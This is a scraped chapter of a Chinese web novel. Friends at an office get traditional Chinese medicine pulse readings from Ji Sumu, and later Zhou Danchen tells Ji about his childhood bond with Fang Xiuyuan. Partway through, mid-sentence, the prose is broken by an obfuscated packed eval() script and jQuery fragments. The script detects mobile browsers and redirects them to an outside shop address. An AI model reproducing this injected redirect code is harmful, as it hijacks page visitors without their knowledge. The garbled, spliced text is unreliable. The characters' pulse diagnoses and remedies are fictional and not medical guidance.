默认冷灰
24号文字
方正启体

44. 044

作者:木浅金本书字数:K更新时间:
    吃完饭周丹臣几个人转场到方修远的办公室喝茶。


    方修远这几天在忙山庄装修的事,已经在办公室凑合一礼拜了。


    办公室外间还挺干净是个能待客的样子,方修远打开里间休息室换衣服,就能看见已经乱成一锅粥了。


    纪苏木坐在周丹臣旁边,刚好能从半掩的门看清里面的盛况。


    纪苏木留意着周丹臣的表情,能清楚看到周丹臣微微侧头,应该是在往里屋看。


    看了没有一分钟,周丹臣叹了口气站起身,门也不敲,直接推门进去了:“怎么不找个小时工打扫一下?”


    方修远的语气满不在乎:“哎呦,这到处都是乱糟糟的,打扫完不是很快就脏了,就这几天,我忍忍算了。”


    周丹臣目光落在堆积成山的脏衣服上,方修远出门永远得光鲜亮丽,但是又懒得洗衣服,在家有人帮他洗,在这只能穿脏了扔在一边,拿新的穿。


    “你这是带了多少衣服?”


    方修远打开衣柜,里面只剩下寥寥几件干净衣服,“喏,还剩这几件。”


    周丹臣被气笑了:“那这些也穿脏了呢?”


    方修远嘶一声,“那让家里给我送来点。”


    周丹臣掏出手机打电话:“李姐,我给你发个地址,麻烦你过来打扫一下,有很多,嗯,非常多脏衣服。”


    周丹臣听完李姐的问题,抬头对方修远道:“有洗衣机吗?”


    方修远点头,“我卫生间就有洗衣机,新的,还没用过。”


    周丹臣白了他一眼,冲电话那头说:“有洗衣机。”


    方修远赶紧补充:“没有洗衣液啊。”


    周丹臣:“麻烦带洗衣液。”


    挂掉电话,周丹臣点了点方修远,“懒得你,回头不能机洗的衣服,我让李姐给你送干洗,洗完了再给你拿回来。”


    说着周丹臣想起什么,“你带的内裤和袜子还够吗,算了,让李姐从我家库房拿点给你吧。”


    方修远随意点了点头:“行,我带来的已经扔得差不多了。”


    周丹臣低头在手机上给李姐发消息。


    方修远换好衣服,看周丹臣还在那发消息,哎了一声,推着周丹臣出来:“行啦,不嫌乱啊,赶紧出来吧。”


    周丹臣坐回纪苏木身边,注意力很快被徐添提到的一家附近乡镇好吃的火锅鸡吸引,让徐添把位置发给他,说回头要带着苏木去尝尝。


    纪苏木就坐在一边,跟他们也没什么话题,还是赵军看出纪苏木的局促,过来搭话:“苏木是个中医,我最近夜里老醒,你能给我看看吗?”


    纪苏木手搭在他脉上,又看他舌头:“大概夜里三点到五点醒。”


    赵军哎一声,本来就是搭个话找个话题聊,情况说得也含糊,谁想到纪苏木看着年轻,好像还真有点本事:“你这也能把出来?”


    周丹臣几人听见这边动静也围过来,李袁旭在那起哄添乱:“他这是怎么了,难道是肾虚了?嘿嘿~”


    赵军:“污蔑,纪医生你快说说因为啥啊。”


    纪苏木这才开口:“三点到五点是手太肺阴经当令,肺主气,管呼吸,负责将气血运到全身。你肺里有虚火,缺少津液,熬夜吗?”


    李袁旭笑着打岔:“你应该问他哪天不熬夜。”


    纪苏木继续问:“除了熬夜是不是还经常干咳吐不出痰?”


    赵军点头,对纪苏木的医术更信了几分,声音都恭敬了几分:“那你给我开点药?”


    纪苏木收回手:“吃不吃药都行,你要多吃白色的食物,补津液,不要熬夜。”


    赵军面露难色:“不熬夜我这有点难,要不你开点药吧。”


    纪苏木叹了口气:“那我回头给你抓点药。”


    赵军:“你给我药方,我让人抓不得了。”


    纪苏木摇头:“好多药店药材质量不过关,没有药性,你吃了也白吃。”


    赵军哦了一声:“那回头我上丹子家找你拿。”


    纪苏木继续说:“除了不要熬夜,你还可以通过饮食补津液,百合莲子粥,银耳雪梨汤这些,食材的话还有莲藕、荸荠、山药,这些你都要多吃。”


    赵军点头记在了手机上。


    有了赵军开头,哥几个开始排队找纪苏木看。


    徐添已经有脂肪肝了,舌苔黄腻,身体里痰湿很重。纪苏木建议他从现在起以后都不要吃晚餐,就算要吃也要清淡,尤其晚餐不能吃肉,又给他开了个药方,让他回头去周丹臣家拿。


    李袁旭喝酒多,肝火大脾胃失调睡眠也不好,情况比其他几个人都要严重,纪苏木建议他如果非要喝酒,一周不能超过两次,听医嘱的话也要调理三个月。


    哥几个看完,起哄让方修远也看看。


    纪苏木的手搭在方修远手腕上,方修远这个人棱角分明,没有表情的时候甚至有点凶。


    但是不可否认的,方修远长得很英气,剑眉星目不怒自威,一看就是不好惹的狠角色。


    此刻他眼睛看向自己,目光里有好奇和打量。


    没有敌意。


    纪苏木心里难得乱了,他移开视线,强迫自己专心。


    “远哥,你之前受过重伤?”


    方修远看向周丹臣:“你跟他说过我?”


    周丹臣摆手:“我可没说过。”


    纪苏木解释:“你的脉比常人的脉涩,应该是之前重伤有淤血没散干净,遇到阴雨天受伤的地方应该还会隐痛酸胀吧?”


    纪苏木在这里停顿了一下:“我那里有治疗这种情况的药膏,回头你去拿来敷在旧伤上,应该敷两三个月后,变天时候就不会疼了。”


    “除此之外你肝火大,心火大,你是不是经常口渴,嘴里长口腔溃疡或者牙龈肿痛?”


    方修远皱眉,点了点头:“是呗,最近装修我这个上火啊,舌头边长了俩口轻溃疡,好像还要长智齿了,后槽牙那块牙龈还出血。”


    纪苏木低头:“你要少喝酒多休息不能太劳累,你之前的伤看似恢复了,但到底伤了元气,你最近太劳累一直在消耗身体。我给你抓点药你回头去家里拿。”


    周丹臣听了这话,眉头皱起来:“你这山庄找个经理弄就行了,你非得自己搞,累病了怎么办?”


    方修远狡辩的底气不太足:“那别人装的不合我心意怎么办?!”


    周丹臣:“你身体重要还是装修重要?!你不听话,我回家告诉爸妈去。”


    方修


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336438|199253||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    远只能投降:“别告状,别告状,我下周就找个经理,不,明天就找行不行,祖宗?”


    周丹臣从鼻子里哼出一声:“你最好快点。”


    有了把脉这一出,纪苏木跟大家关系亲近不少。


    徐添那边还在嚷嚷,作为一个老饕,让他晚餐不吃肉简直比杀了他还难受。


    山庄到处乱糟糟的,几个人聊了会儿天,不到五点就散了。


    回家的路上纪苏木开着车,到底没憋住:“哥,你和远哥什么关系啊?”


    周丹臣喝了点啤酒,不多,此刻闭着眼,听见纪苏木的话转过头:“怎么想起问他?”


    纪苏木抿了抿唇:“我可以问吗?”


    周丹臣:“当然可以。”


    纪苏木犹豫着,“就是感觉你和他跟其他人关系都不一样。”


    周丹臣清了清嗓子,想着从哪里开始说,想了半天开始决定从头开始讲:“我跟远子两岁就认识了,当时我俩们两家是邻居,我跟他同岁,我俩当时可是附近同龄人里一霸。”


    想到这里周丹臣脸上带出笑意。


    “他住爷爷家,他爸妈不管他,那时候小,什么都不懂,他就跟着我管我爸妈叫爸妈。”


    “等要上学了,大人们说这样不行啊,就让我们都认了对方爸妈做干爹干妈,改了称呼。不过只有我们一家在的时候,他还是叫爸妈。”


    “嗯,我跟远子,从小到大一直在一块,一直到大学毕业才分开。我读研,他去当兵。后来一次任务出意外他差点死了,他爸直接给他办了病退,是我从医院把他接回来的,养了大半年才好,后来没事做他就开公司了。”


    纪苏木看向周丹臣,试探地问:“那他喜欢男人还是女人?”


    周丹臣脑子转不过来,闻言愣了一会儿才意识到纪苏木在问的不是他理解的关系。


    周丹臣笑了:“我跟他,就跟人的左手和右手一样,我俩怎么可能?嗯,就是,啧,怎么说呢,我们是亲人。嗯,反正不管他喜欢男的还是女的,我俩都没可能。”


    周丹臣说完笑了,他终于想起了一种合适比喻:“就跟你之前喜欢女生,但你会喜欢你姐吗?”


    纪苏木听到这种可能后背发凉,笑了笑,“哈,哦,这样吗?”


    周丹臣歪头:“你怎么会这么想?”


    纪苏木磕磕绊绊解释:“远哥叫你臣子,其他人叫你丹子,你和远哥很亲近,你们之间好像有结界把别人都隔开了。”


    周丹臣若有所思地点头:“臣子这个称呼是他小时候没有安全感,占有欲特别强。他叫我臣子,别人要是也叫他就揍人家,好几次人家家长找到家里,他就是不改,后来大家就习惯了,都叫我丹子。”


    周丹臣突然回忆起方修远小时候跟人打完架,把头埋在他身上,鼻涕眼泪蹭他一身,边哭边说:“只有我能叫你臣子,别人都不许,你必须只能跟我天下第一好!”


    纪苏木:“那到现在都没人叫你臣子吗?”


    周丹臣思考了几秒,摇头:“好像还真没有了。”


    纪苏木心里默默想:那我呢,我能叫你臣子吗?


    这话就在嘴边,纪苏木却没有胆子问,只能默默看着周丹臣的侧脸,攥紧方向盘。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)